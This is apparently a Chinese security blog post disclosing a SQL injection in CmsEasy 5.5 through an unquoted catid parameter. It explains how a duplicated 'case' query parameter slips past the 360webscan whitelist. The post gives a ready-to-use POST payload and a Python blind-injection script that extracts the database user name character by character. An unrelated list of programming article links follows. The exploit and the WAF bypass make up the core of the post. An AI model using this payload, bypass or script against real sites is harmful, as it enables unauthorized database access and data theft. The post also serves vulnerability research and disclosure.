cmseasy最新注入+360webscan的绕过分析
最近一直没什么好文章,只有闲下来挖了几个洞。一般挖洞的时候就没法发文章,因为自己提交上去的洞在公开前是不能泄露的。不过这个洞与乌云某大牛的洞重复了,于是我就发出来一起学习一下。不过这个洞应该有些年头了。
先下载最新版:http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.5_UTF-8_20150318.zip。经过神器比对,发现最新版进行了一些功能上的修改,可就是这处修改造成注入。
/lib/default/archive_act.php 283行
<?php
if (front::post('catid')) {
$cateobj = category::getInstance();
$sons = $cateobj->sons(front::post('catid'));
if(is_array($sons) && !empty($sons)){
$cids = front::post('catid').','.implode(',',$sons);
}else{
$cids = front::post('catid');
}
$condition .= "catid in (".$cids.") AND ";
//var_dump($condition);exit;
}
condition .= "catid in (".cids放入SQL语句,而cids = front::post('catid');。 由于没有引号包裹,所以造成注入。
绕过360webscan的方法,还是借助白名单,但方式有点区别。
<?php
/**
* 拦截目录白名单
*/
function webscan_white($webscan_white_name,$webscan_white_url=array()) {
$url_path=$_SERVER['SCRIPT_NAME'];
$url_var=$_SERVER['QUERY_STRING'];
if (preg_match("/".$webscan_white_name."/is",$url_path)==1&&!empty($webscan_white_name)) {
return false;
}
foreach ($webscan_white_url as $key => $value) {
if(!empty($url_var)&&!empty($value)){
if (stristr($url_path,$key)&&stristr($url_var,$value)) {
return false;
}
}
elseif (empty($url_var)&&empty($value)) {
if (stristr($url_path,$key)) {
return false;
}
}
}
return true;
}
if (stristr(url_path,key)&&stristr(url_var,value)),当key和value都在白名单中存在时,就不进行过滤。
而白名单的数组为:
$webscan_white_url = array('index.php' => 'admin_dir=admin','index.php' => 'case=file','index.php' =>'case=admin');
也就是说index.php?case=file,这样的请求就不会检测。
但我们的目标url是index.php?case=archive&act=search&page=1,不是case=file。没关系呀,这里比对的时候用的是$_SERVER['QUERY_STRING'];
,而PHP对于两个case=xxx,是取后面一个作为值。所以,请求/index.php?page=1&case=admin&case=archive&act=search即可。
这样,即可以在QUERY_STRING里找到case=admin,进而绕过360webscan,又可以让case=archive。
测试:
向http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1 POST数据 catid=-1) or ord(substr(user(),1,1))=114%23
=114(r)的时候有返回结果:
=115的时候没有返回结果:
脚本验证:
脚本如下:
#!/usr/bin/python
import requests, sys, base64, traceback
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'
}
payloads = list('@abcdefghijklmnopqrstuvwxyz.0123456789')
print 'start to retrive MySQL infomation:'
def run():
user = ''
for i in range(1,16):
for payload in payloads:
try:
data = {
"catid": '-1) or ord(substr(user(),%s,1))=%s#' % (i, ord(payload))
}
req = requests.post("http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1", data = data, headers = headers, timeout = 5)
if "<strong>1</strong>" in req.content:
user += payload
print 'n[In progress]', user
break
except:
print traceback.print_exc()
break
sys.stdout.write('.')
sys.stdout.flush()
print 'n[Done]infomation is', user
run()
- SQL 扩展事件
- ShapeDrawable做放大镜效果
- android放大镜效果实现
- Android StringEntity() 和 UrlEncodedFormEntity() 的区别
- 如何根据日志查看删除的数据(转译)
- 具体问题解决:分离脚本
- 独家 | 手把手教你用Python 3创建用于机器学习开发的Linux虚拟机(附安装教程、代码)
- TSQL--临时表和表变量
- 微软开源 C++ REST SDK
- 使用Autofac在ASP.NET Web API上实现依赖注入
- Universal-Image-Loader完全解析--从源代码分析Universal-Image-Loader中的线程池
- 我是怎样爬下6万共享单车数据并进行分析的(附代码)
- 数据库压缩备份提高备份效率
- 教你用TensorFlow和自编码器模型生成手写数字(附代码)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 字符串的输入输出处理(蓝桥杯)
- Minesweeper(蓝桥杯)
- 蓝桥杯 试题 算法训练 加法运算
- 蓝桥杯 试题 算法训练 My Bad
- [蓝桥杯][2013年第四届真题]买不到的数目
- [蓝桥杯][基础练习VIP]FJ的字符串
- [蓝桥杯][基础练习VIP]字符串对比
- [蓝桥杯][算法提高VIP]不同单词个数统计
- 基于spring-boot、grpc、zookeeper的分布式微服务架构
- Codeforces 660C-Hard Process【尺取法练习】
- 杭电5178 (二分练习!)
- Java 13 新特性
- 杭电 1789(贪心思维练习)
- 利用反转函数确定回文串
- Codeforces Round #618 (Div. 2)